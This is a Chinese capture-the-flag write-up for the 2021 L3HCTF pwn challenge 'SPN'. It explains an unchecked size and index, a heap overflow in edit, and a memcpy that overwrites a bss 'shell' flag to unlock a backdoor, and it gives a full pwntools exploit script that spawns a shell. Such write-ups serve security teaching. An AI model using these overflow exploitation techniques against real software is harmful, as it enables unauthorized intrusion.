2021 L3HCTF pwn SPN

在这里插入图片描述
保护没开canary… 不知道啥意思

首先add这里就有问题
在这里插入图片描述size也没范围
index因为限制了v3,v5不能为负,也没范围。

如果能是负数直接数组越界这题也就解决了。

再然后出大问题的是edit
在这里插入图片描述
首先给了100字节的堆溢出
再然后看下面那个memcpy,因为我们前面没有限制size的大小,所以我们这里可以任意覆盖bss上TEMPBUF下面的变量

后门函数要求shell等于0.
shell这变量
在这里插入图片描述

在这里插入图片描述
显然就在TEMPBUF下面,我们直接盖过去就可以了。
在这里插入图片描述
重点要注意的是我们申请的chunk的序号要写大一点,不然会被复制过来的盖住,导致后面memcpy出错。

exp

# -*- coding: utf-8 -*-
from pwn import*

context.log_level='debug'
context.arch='amd64'
context.os = "linux"

pc = "./SPN_ENC"

local = 1
if local:
    r = process(pc)
    elf = ELF(pc)
    libc = elf.libc
    
else:
    r = remote("81.69.230.99",9003)
    elf = ELF(pc)
    libc = ELF("./libc-2.27.so")

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

def db():
    gdb.attach(r)
    pause()

def dbs(src):
    gdb.attach(r, src)

def add(size, index):
    sla("0.exit\n", "1")
    sla("Size:\n", str(size))
    sla("Index:\n", str(index))

def edit(size,index,content):
    sla("0.exit\n", "2")
    sla("Index:\n", str(index))
    sla("Size\n", str(size))
    sa('Content', content)

def backdoor():
    sla("0.exit\n", "5")

add(0x1100, 200)
#db()
edit(0x1100, 200, '\x00' * 0x1100)

backdoor()

ti()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值